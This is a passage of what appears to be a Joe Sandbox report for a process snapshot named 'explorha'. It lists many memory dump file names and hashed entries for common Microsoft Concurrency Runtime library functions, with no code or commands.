Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: f9f7d59cacc065981a0e2b0a465e661abf6307446762922ce82a029b28c26107
Instruction ID: 914331c8a16970ed5576e13934c966fc95b1e11ae310d3ea3ffe0b4fc0f63452
Opcode Fuzzy Hash: f9f7d59cacc065981a0e2b0a465e661abf6307446762922ce82a029b28c26107
Instruction Fuzzy Hash: B101F972200631AFDB15BB65DDC2F6DBF9AFFA4710B000065FA0057692CB24FC218AD1

Uniqueness

Uniqueness Score: -1.00%

Function 00AFE747 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AFE755
ListArray.LIBCONCRT ref: 00AFE767

Part of subcall function 00AFDD42: _InternalDeleteHelper.LIBCONCRT ref: 00AFDD54

ListArray.LIBCONCRT ref: 00AFE771
_InternalDeleteHelper.LIBCONCRT ref: 00AFE78A

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 704ff052c60b99f4b24a391098639e2bc561b40892b0c650fff50b5c9e9d3cbb
Instruction ID: f9cd00073679c6ff3ff47fc33cf70e29c0295824a7fac2836db909a84be277b8
Opcode Fuzzy Hash: 704ff052c60b99f4b24a391098639e2bc561b40892b0c650fff50b5c9e9d3cbb
Instruction Fuzzy Hash: 0701F9312015356FDA26FBE1CAC2E7DBF5ABFC57107004129FA005B621DB25EC218690

Uniqueness

Uniqueness Score: -1.00%

Function 00B04A4E Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B04A68
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00B04A7C
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00B04A94
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00B04AAC

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: a92f88902063560b4ac1caf2ea3658441010c3372bd0d051f579f49512ec6ffe
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 8801A2B2740214ABCB15EE948851AAF7BDDDF54750F000099FE15A72C2DB71ED1096A4

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5F15 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AF5F23
ListArray.LIBCONCRT ref: 00AF5F35

Part of subcall function 00AF6BE5: _InternalDeleteHelper.LIBCONCRT ref: 00AF6BF4

ListArray.LIBCONCRT ref: 00AF5F3F
_InternalDeleteHelper.LIBCONCRT ref: 00AF5F58

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1d9e2fcf0c2d2f1d33ab50ff446aed5eea7d17534024f9ed17492535955aa8c4
Instruction ID: 64395f5003dd69340b274e5fa82258d901e4d9bb043305c4dedc20e72a796f78
Opcode Fuzzy Hash: 1d9e2fcf0c2d2f1d33ab50ff446aed5eea7d17534024f9ed17492535955aa8c4
Instruction Fuzzy Hash: 6701F932644A35AFDA25BBB5CAC2E7DB71ABF847107004065F70497651CF21EC21C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00AFABA0 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00AFABA9

Part of subcall function 00AF0B5B: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00AF6B16

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00AFABCD
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00AFABE0
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00AFABE9

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
